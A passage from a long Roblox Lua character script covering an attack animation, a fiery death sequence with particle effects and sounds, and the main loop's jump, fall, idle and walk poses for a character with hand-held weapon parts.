4527 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4528 | end | |
4529 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
4530 | for i=0,1,0.1 do | |
4531 | swait() | |
4532 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4533 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4534 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4535 | Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2) | |
4536 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2) | |
4537 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4538 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4539 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
4540 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4541 | ||
4542 | end | |
4543 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8) | |
4544 | for i=0,1,0.1 do | |
4545 | swait() | |
4546 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4547 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4548 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4549 | Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2) | |
4550 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4551 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4552 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4553 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3) | |
4554 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4555 | end | |
4556 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
4557 | for i=0,1,0.1 do | |
4558 | swait() | |
4559 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4560 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4561 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4562 | Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2) | |
4563 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2) | |
4564 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4565 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4566 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
4567 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4568 | end | |
4569 | --dmgstop() | |
4570 | Humanoid.WalkSpeed=12 | |
4571 | attack=false | |
4572 | end | |
4573 | ||
4574 | function Die() | |
4575 | attack=true | |
4576 | Footsteps:Stop() | |
4577 | Footsteps2:Stop() | |
4578 | local Fire = it("Sound",Character.Torso) | |
4579 | Fire.SoundId = "rbxassetid://192104941" | |
4580 | Fire.Looped = true | |
4581 | Fire.Pitch = 1 | |
4582 | Fire.Volume = 1 | |
4583 | local Fire2 = it("Sound",Handle2) | |
4584 | Fire2.SoundId = "rbxassetid://192104941" | |
4585 | Fire2.Looped = true | |
4586 | Fire2.Pitch = 1 | |
4587 | Fire2.Volume = 1 | |
4588 | local Fire3 = it("Sound",Handle) | |
4589 | Fire3.SoundId = "rbxassetid://192104941" | |
4590 | Fire3.Looped = true | |
4591 | Fire3.Pitch = 1 | |
4592 | Fire3.Volume = 1 | |
4593 | local Fire4 = it("Sound",handle) | |
4594 | Fire4.SoundId = "rbxassetid://192104941" | |
4595 | Fire4.Looped = true | |
4596 | Fire4.Pitch = 1 | |
4597 | Fire4.Volume = 1 | |
4598 | local fire = Instance.new("ParticleEmitter", Character.Torso) | |
4599 | fire.Lifetime = NumberRange.new(0.5) | |
4600 | fire.Speed = NumberRange.new(1, 3) | |
4601 | fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)}) | |
4602 | fire.Rate = 0 | |
4603 | fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) | |
4604 | fire.LightEmission = 0.6 | |
4605 | fire.Texture = "http://www.roblox.com/asset/?id=242911609" | |
4606 | fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) | |
4607 | local fire2 = Instance.new("ParticleEmitter", Handle) | |
4608 | fire2.Lifetime = NumberRange.new(0.5) | |
4609 | fire2.Speed = NumberRange.new(1, 3) | |
4610 | fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)}) | |
4611 | fire2.Rate = 0 | |
4612 | fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) | |
4613 | fire2.LightEmission = 0.6 | |
4614 | fire2.Texture = "http://www.roblox.com/asset/?id=242911609" | |
4615 | fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) | |
4616 | local fire3 = Instance.new("ParticleEmitter", Handle2) | |
4617 | fire3.Lifetime = NumberRange.new(0.5) | |
4618 | fire3.Speed = NumberRange.new(1, 3) | |
4619 | fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)}) | |
4620 | fire3.Rate = 0 | |
4621 | fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) | |
4622 | fire3.LightEmission = 0.6 | |
4623 | fire3.Texture = "http://www.roblox.com/asset/?id=242911609" | |
4624 | fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) | |
4625 | local fire4 = Instance.new("ParticleEmitter", handle) | |
4626 | fire4.Lifetime = NumberRange.new(0.5) | |
4627 | fire4.Speed = NumberRange.new(1, 3) | |
4628 | fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)}) | |
4629 | fire4.Rate = 0 | |
4630 | fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) | |
4631 | fire4.LightEmission = 0.6 | |
4632 | fire4.Texture = "http://www.roblox.com/asset/?id=242911609" | |
4633 | fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) | |
4634 | Humanoid.WalkSpeed = 0 | |
4635 | so("http://www.roblox.com/asset/?id=199149297",Head,1,1) | |
4636 | so("http://www.roblox.com/asset/?id=209527203",Head,1,1) | |
4637 | for i=0,1,0.08 do | |
4638 | swait() | |
4639 | Torso.Velocity=RootPart.CFrame.lookVector*-30 | |
4640 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2) | |
4641 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2) | |
4642 | handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2) | |
4643 | Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2) | |
4644 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2) | |
4645 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2) | |
4646 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2) | |
4647 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2) | |
4648 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2) | |
4649 | end | |
4650 | for i=0,1,0.005 do | |
4651 | swait() | |
4652 | light.Range=15-10*i | |
4653 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2) | |
4654 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4) | |
4655 | handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2) | |
4656 | Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2) | |
4657 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) | |
4658 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2) | |
4659 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2) | |
4660 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4661 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4662 | end | |
4663 | light.Range=0 | |
4664 | for i=0,1,0.01 do | |
4665 | swait() | |
4666 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2) | |
4667 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4) | |
4668 | handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2) | |
4669 | Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2) | |
4670 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) | |
4671 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2) | |
4672 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2) | |
4673 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4674 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4675 | end | |
4676 | so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9) | |
4677 | fire.Rate = 1000 | |
4678 | fire2.Rate = 1000 | |
4679 | fire3.Rate = 1000 | |
4680 | fire4.Rate = 1000 | |
4681 | Fire:Play() | |
4682 | Fire2:Play() | |
4683 | Fire3:Play() | |
4684 | Fire4:Play() | |
4685 | for i=0,1,0.005 do | |
4686 | swait() | |
4687 | Character.Head.face.Transparency = 0+1*i | |
4688 | LeftArm.Transparency=0+1*i | |
4689 | RightArm.Transparency=0+1*i | |
4690 | LeftLeg.Transparency=0+1*i | |
4691 | RightLeg.Transparency=0+1*i | |
4692 | Head.Transparency=0+1*i | |
4693 | Torso.Transparency=0+1*i | |
4694 | for _,v in pairs(Character:children()) do | |
4695 | if v:IsA("Hat") then | |
4696 | v.Handle.Transparency = 0+1*i | |
4697 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2) | |
4698 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4) | |
4699 | handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2) | |
4700 | Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2) | |
4701 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) | |
4702 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2) | |
4703 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2) | |
4704 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4705 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4706 | end | |
4707 | end | |
4708 | --dmgstop() | |
4709 | end | |
4710 | Humanoid.Health = 0 | |
4711 | end | |
4712 | ||
4713 | equipanim() | |
4714 | ||
4715 | local sine = 0 | |
4716 | local change = 1 | |
4717 | local val = 0 | |
4718 | ||
4719 | local mananum=0 | |
4720 | while true do | |
4721 | swait() | |
4722 | sine = sine + change | |
4723 | local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude | |
4724 | local velderp=RootPart.Velocity.y | |
4725 | hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character) | |
4726 | if equipped==true or equipped==false then | |
4727 | if Anim=="Idle" and attack==false then | |
4728 | idle=idle+1 | |
4729 | else | |
4730 | idle=0 | |
4731 | end | |
4732 | if Humanoid.Health <=20 then | |
4733 | if attack == false then | |
4734 | Humanoid.Health = math.huge | |
4735 | Die() | |
4736 | end | |
4737 | end | |
4738 | if idle>=1000 then | |
4739 | if attack==false then | |
4740 | --Sheath() | |
4741 | end | |
4742 | end | |
4743 | if RootPart.Velocity.y > 1 and hitfloor==nil then | |
4744 | Anim="Jump" | |
4745 | if attack==false then | |
4746 | Footsteps:Stop() | |
4747 | Footsteps2:Stop() | |
4748 | Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3) | |
4749 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
4750 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3) | |
4751 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3) | |
4752 | RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
4753 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3) | |
4754 | LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
4755 | RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2) | |
4756 | LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2) | |
4757 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2) | |
4758 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2) | |
4759 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2) | |
4760 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4761 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4762 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4763 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4764 | end | |
4765 | elseif RootPart.Velocity.y < -1 and hitfloor==nil then | |
4766 | Anim="Fall" | |
4767 | if attack==false then | |
4768 | Footsteps:Stop() | |
4769 | Footsteps2:Stop() | |
4770 | Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3) | |
4771 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
4772 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3) | |
4773 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3) | |
4774 | RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
4775 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3) | |
4776 | LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
4777 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2) | |
4778 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2) | |
4779 | handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4780 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2) | |
4781 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2) | |
4782 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4783 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4784 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4785 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4786 | end | |
4787 | elseif torvel<1 and hitfloor~=nil then | |
4788 | Anim="Idle" | |
4789 | change=0.5 | |
4790 | if idle>=1000 then | |
4791 | if attack==false then | |
4792 | Footsteps:Stop() | |
4793 | Footsteps2:Stop() | |
4794 | Humanoid.WalkSpeed=12 | |
4795 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1) | |
4796 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1) | |
4797 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
4798 | RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5) | |
4799 | LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5) | |
4800 | RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1) | |
4801 | LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3) | |
4802 | handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3) | |
4803 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4) | |
4804 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3) | |
4805 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4806 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4807 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4808 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4809 | end | |
4810 | else | |
4811 | if attack==false then | |
4812 | Footsteps:Stop() | |
4813 | Footsteps2:Stop() | |
4814 | Humanoid.WalkSpeed=12 | |
4815 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1) | |
4816 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-20)),.1) | |
4817 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
4818 | RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5) | |
4819 | LW.C0=clerp(LW.C0,cf(-1.175, 0.5, 0)*angles(math.rad(125),math.rad(0),math.rad(45)),.5) | |
4820 | RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1) | |
4821 | LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3) | |
4822 | handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2) | |
4823 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4) | |
4824 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3) | |
4825 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4826 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4827 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4828 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4829 | end | |
4830 | end | |
4831 | elseif torvel>2 and torvel<22 and hitfloor~=nil then | |
4832 | Anim="Walk" | |
4833 | if attack==false then | |
4834 | change=0.8 | |
4835 | --[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3) | |
4836 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3) | |
4837 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3) | |
4838 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3) | |
4839 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3) | |
4840 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3) | |
4841 | --Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4842 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4843 | RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2) | |
4844 | --RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2) | |
4845 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3) | |
4846 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3) | |
4847 | RH.C0=clerp(RH.C0,RHC0,.3) | |
4848 | LH.C0=clerp(LH.C0,LHC0,.3) | |
4849 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4850 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4851 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
